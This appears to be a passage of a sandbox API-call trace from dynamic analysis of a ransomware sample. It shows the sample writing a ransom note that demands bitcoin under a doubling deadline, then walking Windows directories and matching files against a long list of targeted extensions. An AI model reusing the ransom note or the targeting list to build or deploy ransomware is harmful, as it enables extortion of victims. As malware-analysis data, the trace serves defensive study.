(lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.io.cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0119.520] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0119.521] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0119.522] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0119.522] CloseHandle (hObject=0x90) returned 1 [0119.522] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\", lpString2="System.IO.Compression.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll" [0119.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.ems") returned 0 [0119.522] lstrlenA (lpString="*.ems") returned 5 [0119.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.db") returned 0 [0119.522] lstrlenA (lpString="*.db") returned 4 [0119.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.dbf") returned 0 [0119.522] lstrlenA (lpString="*.dbf") returned 5 [0119.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.myox") returned 0 [0119.523] lstrlenA (lpString="*.myox") returned 6 [0119.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.myo") returned 0 [0119.523] lstrlenA (lpString="*.myo") returned 5 [0119.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.qbw") returned 0 [0119.523] lstrlenA (lpString="*.qbw") returned 5 [0119.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.qbb") returned 0 [0119.523] lstrlenA (lpString="*.qbb") returned 5 [0119.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.qbm") returned 0 [0119.523] lstrlenA (lpString="*.qbm") returned 5 [0119.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.qbo") returned 0 [0119.523] lstrlenA (lpString="*.qbo") returned 5 [0119.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.qbx") returned 0 [0119.523] lstrlenA (lpString="*.qbx") returned 5 [0119.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.qba") returned 0 [0119.523] lstrlenA (lpString="*.qba") returned 5 [0119.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.qby") returned 0 [0119.523] lstrlenA (lpString="*.qby") returned 5 [0119.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.qbj") returned 0 [0119.524] lstrlenA (lpString="*.qbj") returned 5 [0119.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.ofx") returned 0 [0119.524] lstrlenA (lpString="*.ofx") returned 5 [0119.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.qif") returned 0 [0119.524] lstrlenA (lpString="*.qif") returned 5 [0119.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.mye") returned 0 [0119.524] lstrlenA (lpString="*.mye") returned 5 [0119.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.mbox") returned 0 [0119.525] lstrlenA (lpString="*.mbox") returned 6 [0119.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.eml") returned 0 [0119.525] lstrlenA (lpString="*.eml") returned 5 [0119.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.pst") returned 0 [0119.525] lstrlenA (lpString="*.pst") returned 5 [0119.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.ost") returned 0 [0119.525] lstrlenA (lpString="*.ost") returned 5 [0119.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.idx") returned 0 [0119.525] lstrlenA (lpString="*.idx") returned 5 [0119.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.dbx") returned 0 [0119.525] lstrlenA (lpString="*.dbx") returned 5 [0119.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.sql") returned 0 [0119.525] lstrlenA (lpString="*.sql") returned 5 [0119.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.mdb") returned 0 [0119.526] lstrlenA (lpString="*.mdb") returned 5 [0119.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.fdb") returned 0 [0119.526] lstrlenA (lpString="*.fdb") returned 5 [0119.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.wab") returned 0 [0119.526] lstrlenA (lpString="*.wab") returned 5 [0119.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.dat") returned 0 [0119.526] lstrlenA (lpString="*.dat") returned 5 [0119.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.txt") returned 0 [0119.526] lstrlenA (lpString="*.txt") returned 5 [0119.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.jpeg") returned 0 [0119.526] lstrlenA (lpString="*.jpeg") returned 6 [0119.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.jpg") returned 0 [0119.526] lstrlenA (lpString="*.jpg") returned 5 [0119.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.png") returned 0 [0119.526] lstrlenA (lpString="*.png") returned 5 [0119.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.php") returned 0 [0119.526] lstrlenA (lpString="*.php") returned 5 [0119.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.cs") returned 0 [0119.526] lstrlenA (lpString="*.cs") returned 4 [0119.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.cpp") returned 0 [0119.527] lstrlenA (lpString="*.cpp") returned 5 [0119.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.rar") returned 0 [0119.527] lstrlenA (lpString="*.rar") returned 5 [0119.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.zip") returned 0 [0119.527] lstrlenA (lpString="*.zip") returned 5 [0119.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.html") returned 0 [0119.527] lstrlenA (lpString="*.html") returned 6 [0119.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.htm") returned 0 [0119.527] lstrlenA (lpString="*.htm") returned 5 [0119.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.xlsx") returned 0 [0119.527] lstrlenA (lpString="*.xlsx") returned 6 [0119.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.xls") returned 0 [0119.527] lstrlenA (lpString="*.xls") returned 5 [0119.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.mp4") returned 0 [0119.527] lstrlenA (lpString="*.mp4") returned 5 [0119.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.ppt") returned 0 [0119.527] lstrlenA (lpString="*.ppt") returned 5 [0119.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.pptx") returned 0 [0119.527] lstrlenA (lpString="*.pptx") returned 6 [0119.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.doc") returned 0 [0119.527] lstrlenA (lpString="*.doc") returned 5 [0119.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.dot") returned 0 [0119.527] lstrlenA (lpString="*.dot") returned 5 [0119.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.docx") returned 0 [0119.528] lstrlenA (lpString="*.docx") returned 6 [0119.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.7z") returned 0 [0119.528] lstrlenA (lpString="*.7z") returned 4 [0119.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.tar") returned 0 [0119.528] lstrlenA (lpString="*.tar") returned 5 [0119.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.bz2") returned 0 [0119.528] lstrlenA (lpString="*.bz2") returned 5 [0119.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.gz") returned 0 [0119.528] lstrlenA (lpString="*.gz") returned 4 [0119.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.mkv") returned 0 [0119.528] lstrlenA (lpString="*.mkv") returned 5 [0119.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.eml") returned 0 [0119.528] lstrlenA (lpString="*.eml") returned 5 [0119.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.msg") returned 0 [0119.528] lstrlenA (lpString="*.msg") returned 5 [0119.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.edb") returned 0 [0119.528] lstrlenA (lpString="*.edb") returned 5 [0119.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.accdb") returned 0 [0119.528] lstrlenA (lpString="*.accdb") returned 7 [0119.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.odb") returned 0 [0119.528] lstrlenA (lpString="*.odb") returned 5 [0119.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.java") returned 0 [0119.528] lstrlenA (lpString="*.java") returned 6 [0119.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.asm") returned 0 [0119.528] lstrlenA (lpString="*.asm") returned 5 [0119.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.pfx") returned 0 [0119.529] lstrlenA (lpString="*.pfx") returned 5 [0119.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll", pszSpec="*.pem") returned 0 [0119.529] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85c9af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa85c9af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa85c9af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Compression.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0119.529] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.529] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IO.Compression.ni.dll.aux") returned -1 [0119.529] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IO.Compression.ni.dll.aux") returned -1 [0119.529] lstrcmpiA (lpString1="", lpString2="System.IO.Compression.ni.dll.aux") returned -1 [0119.530] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll") returned="System.IO.Compression.ni.dll" [0119.530] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\" [0119.530] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\") returned="" [0119.530] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\HOW TO DECRYPT FILES.txt" [0119.530] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.io.cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\how to decrypt files.txt")) returned 0x20 [0119.530] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\", lpString2="System.IO.Compression.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll.aux" [0119.530] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\System.IO.Compression.ni.dll.aux", pszSpec="*.ems") returned 0 [0119.531] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85c9af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa85c9af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa85c9af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Compression.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0119.532] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0119.532] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa85c9af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa85c9af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa85c9af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1c81703d5a1bd54942d07db3a9b84162", cAlternateFileName="1C8170~1")) returned 0 [0119.532] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0119.532] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa86d4490, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa86d4490, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa86d4490, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.IO.Cf61e09c5#", cAlternateFileName="SYSTEM~1.CF6")) returned 1 [0119.532] lstrcmpA (lpString1=".", lpString2="System.IO.Cf61e09c5#") returned -1 [0119.532] lstrcmpA (lpString1="..", lpString2="System.IO.Cf61e09c5#") returned -1 [0119.532] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0119.532] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.IO.Cf61e09c5#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#" [0119.532] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa86d4490, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa86d4490, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa86d4490, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0119.536] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.536] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa86d4490, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa86d4490, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa86d4490, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.536] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.536] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.536] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa86d4490, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa86d4490, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa86d4490, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="87abc63a1a15ada439f7412b410c9be7", cAlternateFileName="87ABC6~1")) returned 1 [0119.536] lstrcmpA (lpString1=".", lpString2="87abc63a1a15ada439f7412b410c9be7") returned -1 [0119.536] lstrcmpA (lpString1="..", lpString2="87abc63a1a15ada439f7412b410c9be7") returned -1 [0119.536] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\*.*") returned="*.*" [0119.536] 